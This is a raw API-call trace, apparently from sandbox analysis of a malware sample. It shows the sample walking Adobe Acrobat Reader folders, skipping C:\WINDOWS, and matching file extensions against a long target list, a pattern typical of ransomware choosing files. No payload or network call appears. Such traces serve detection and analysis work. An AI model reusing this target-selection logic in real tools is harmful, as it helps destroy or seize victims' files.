hFindFile=0x33157b0) returned 1 [0262.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0262.618] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 105 [0262.618] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 1 [0262.618] lstrlenW (lpString="ro-ro") returned 5 [0262.618] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0262.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.618] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro") returned 105 [0262.618] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0262.619] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.619] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.619] lstrlenW (lpString="ui-strings.js") returned 13 [0262.620] lstrlenW (lpString=".1cd") returned 4 [0262.620] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.620] lstrlenW (lpString=".3ds") returned 4 [0262.620] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.620] lstrlenW (lpString=".3fr") returned 4 [0262.620] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.620] lstrlenW (lpString=".3g2") returned 4 [0262.620] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.620] lstrlenW (lpString=".3gp") returned 4 [0262.620] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.620] lstrlenW (lpString=".7z") returned 3 [0262.620] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.620] lstrlenW (lpString=".accda") returned 6 [0262.620] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.620] lstrlenW (lpString=".accdb") returned 6 [0262.620] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.620] lstrlenW (lpString=".accdc") returned 6 [0262.620] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.620] lstrlenW (lpString=".accde") returned 6 [0262.620] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.620] lstrlenW (lpString=".accdt") returned 6 [0262.621] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.621] lstrlenW (lpString=".accdw") returned 6 [0262.621] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.621] lstrlenW (lpString=".adb") returned 4 [0262.621] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.621] lstrlenW (lpString=".adp") returned 4 [0262.621] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.621] lstrlenW (lpString=".ai") returned 3 [0262.621] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.621] lstrlenW (lpString=".ai3") returned 4 [0262.621] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.621] lstrlenW (lpString=".ai4") returned 4 [0262.621] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.621] lstrlenW (lpString=".ai5") returned 4 [0262.621] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.621] lstrlenW (lpString=".ai6") returned 4 [0262.621] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".ai7") returned 4 [0262.622] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".ai8") returned 4 [0262.622] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".anim") returned 5 [0262.622] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.622] lstrlenW (lpString=".arw") returned 4 [0262.622] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".as") returned 3 [0262.622] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.622] lstrlenW (lpString=".asa") returned 4 [0262.622] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".asc") returned 4 [0262.622] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".ascx") returned 5 [0262.622] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.622] lstrlenW (lpString=".asm") returned 4 [0262.622] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.622] lstrlenW (lpString=".asmx") returned 5 [0262.622] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.623] lstrlenW (lpString=".asp") returned 4 [0262.623] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".aspx") returned 5 [0262.623] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.623] lstrlenW (lpString=".asr") returned 4 [0262.623] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".asx") returned 4 [0262.623] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".avi") returned 4 [0262.623] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".avs") returned 4 [0262.623] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".backup") returned 7 [0262.623] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.623] lstrlenW (lpString=".bak") returned 4 [0262.623] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".bay") returned 4 [0262.623] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.623] lstrlenW (lpString=".bd") returned 3 [0262.623] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.624] lstrlenW (lpString=".bin") returned 4 [0262.624] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".bmp") returned 4 [0262.624] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".bz2") returned 4 [0262.624] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".c") returned 2 [0262.624] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.624] lstrlenW (lpString=".cdr") returned 4 [0262.624] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".cer") returned 4 [0262.624] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".cf") returned 3 [0262.624] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.624] lstrlenW (lpString=".cfc") returned 4 [0262.624] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".cfm") returned 4 [0262.624] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.624] lstrlenW (lpString=".cfml") returned 5 [0262.624] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.624] lstrlenW (lpString=".cfu") returned 4 [0262.624] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".chm") returned 4 [0262.625] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".cin") returned 4 [0262.625] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".class") returned 6 [0262.625] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.625] lstrlenW (lpString=".clx") returned 4 [0262.625] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".config") returned 7 [0262.625] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.625] lstrlenW (lpString=".cpp") returned 4 [0262.625] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".cr2") returned 4 [0262.625] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".crt") returned 4 [0262.625] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".crw") returned 4 [0262.625] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".cs") returned 3 [0262.625] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.625] lstrlenW (lpString=".css") returned 4 [0262.625] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".csv") returned 4 [0262.625] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.625] lstrlenW (lpString=".cub") returned 4 [0262.625] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dae") returned 4 [0262.626] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dat") returned 4 [0262.626] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".db") returned 3 [0262.626] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.626] lstrlenW (lpString=".dbf") returned 4 [0262.626] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dbx") returned 4 [0262.626] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dc3") returned 4 [0262.626] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dcm") returned 4 [0262.626] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dcr") returned 4 [0262.626] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".der") returned 4 [0262.626] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dib") returned 4 [0262.626] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.626] lstrlenW (lpString=".dic") returned 4 [0262.626] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.656] lstrlenW (lpString=".dif") returned 4 [0262.656] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.656] lstrlenW (lpString=".divx") returned 5 [0262.656] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.656] lstrlenW (lpString=".djvu") returned 5 [0262.656] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.656] lstrlenW (lpString=".dng") returned 4 [0262.656] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.656] lstrlenW (lpString=".doc") returned 4 [0262.656] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.656] lstrlenW (lpString=".docm") returned 5 [0262.656] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.657] lstrlenW (lpString=".docx") returned 5 [0262.657] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.657] lstrlenW (lpString=".dot") returned 4 [0262.657] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dotm") returned 5 [0262.657] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.657] lstrlenW (lpString=".dotx") returned 5 [0262.657] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.657] lstrlenW (lpString=".dpx") returned 4 [0262.657] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dqy") returned 4 [0262.657] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dsn") returned 4 [0262.657] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dt") returned 3 [0262.657] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.657] lstrlenW (lpString=".dtd") returned 4 [0262.657] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dwg") returned 4 [0262.657] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dwt") returned 4 [0262.657] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".dx") returned 3 [0262.657] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.657] lstrlenW (lpString=".dxf") returned 4 [0262.657] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.657] lstrlenW (lpString=".edml") returned 5 [0262.657] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.657] lstrlenW (lpString=".efd") returned 4 [0262.658] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".elf") returned 4 [0262.658] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".emf") returned 4 [0262.658] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".emz") returned 4 [0262.658] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".epf") returned 4 [0262.658] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".eps") returned 4 [0262.658] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".epsf") returned 5 [0262.658] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.658] lstrlenW (lpString=".epsp") returned 5 [0262.658] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.658] lstrlenW (lpString=".erf") returned 4 [0262.658] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".exr") returned 4 [0262.658] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".f4v") returned 4 [0262.658] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.658] lstrlenW (lpString=".fido") returned 5 [0262.658] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.658] lstrlenW (lpString=".flm") returned 4 [0262.658] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".flv") returned 4 [0262.659] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".frm") returned 4 [0262.659] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".fxg") returned 4 [0262.659] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".geo") returned 4 [0262.659] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".gif") returned 4 [0262.659] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".grs") returned 4 [0262.659] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".gz") returned 3 [0262.659] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.659] lstrlenW (lpString=".h") returned 2 [0262.659] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.659] lstrlenW (lpString=".hdr") returned 4 [0262.659] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".hpp") returned 4 [0262.659] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".hta") returned 4 [0262.659] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".htc") returned 4 [0262.659] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.659] lstrlenW (lpString=".htm") returned 4 [0262.660] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".html") returned 5 [0262.660] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.660] lstrlenW (lpString=".icb") returned 4 [0262.660] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".ics") returned 4 [0262.660] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".iff") returned 4 [0262.660] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".inc") returned 4 [0262.660] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".indd") returned 5 [0262.660] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.660] lstrlenW (lpString=".ini") returned 4 [0262.660] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".iqy") returned 4 [0262.660] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".j2c") returned 4 [0262.660] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".j2k") returned 4 [0262.660] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.660] lstrlenW (lpString=".java") returned 5 [0262.660] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.660] lstrlenW (lpString=".jp2") returned 4 [0262.660] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".jpc") returned 4 [0262.661] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".jpe") returned 4 [0262.661] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".jpeg") returned 5 [0262.661] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.661] lstrlenW (lpString=".jpf") returned 4 [0262.661] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".jpg") returned 4 [0262.661] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".jpx") returned 4 [0262.661] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.661] lstrlenW (lpString=".js") returned 3 [0262.661] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.661] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.661] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0262.661] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.661] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0262.662] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 104 [0262.662] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 1 [0262.662] lstrlenW (lpString="root") returned 4 [0262.662] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1 [0262.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.662] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 104 [0262.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315870 [0263.178] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.178] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.178] lstrlenW (lpString="ui-strings.js") returned 13 [0263.178] lstrlenW (lpString=".1cd") returned 4 [0263.178] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.178] lstrlenW (lpString=".3ds") returned 4 [0263.178] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.178] lstrlenW (lpString=".3fr") returned 4 [0263.179] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.179] lstrlenW (lpString=".3g2") returned 4 [0263.179] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.179] lstrlenW (lpString=".3gp") returned 4 [0263.179] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.179] lstrlenW (lpString=".7z") returned 3 [0263.179] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.179] lstrlenW (lpString=".accda") returned 6 [0263.179] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.179] lstrlenW (lpString=".accdb") returned 6 [0263.179] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.179] lstrlenW (lpString=".accdc") returned 6 [0263.179] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.179] lstrlenW (lpString=".accde") returned 6 [0263.179] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.180] lstrlenW (lpString=".accdt") returned 6 [0263.180] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.180] lstrlenW (lpString=".accdw") returned 6 [0263.180] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.180] lstrlenW (lpString=".adb") returned 4 [0263.180] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".adp") returned 4 [0263.180] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".ai") returned 3 [0263.180] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.180] lstrlenW (lpString=".ai3") returned 4 [0263.180] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".ai4") returned 4 [0263.180] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".ai5") returned 4 [0263.180] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".ai6") returned 4 [0263.180] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.180] lstrlenW (lpString=".ai7") returned 4 [0263.181] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".ai8") returned 4 [0263.181] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".anim") returned 5 [0263.181] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.181] lstrlenW (lpString=".arw") returned 4 [0263.181] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".as") returned 3 [0263.181] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.181] lstrlenW (lpString=".asa") returned 4 [0263.181] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".asc") returned 4 [0263.181] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".ascx") returned 5 [0263.181] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.181] lstrlenW (lpString=".asm") returned 4 [0263.181] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.181] lstrlenW (lpString=".asmx") returned 5 [0263.181] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 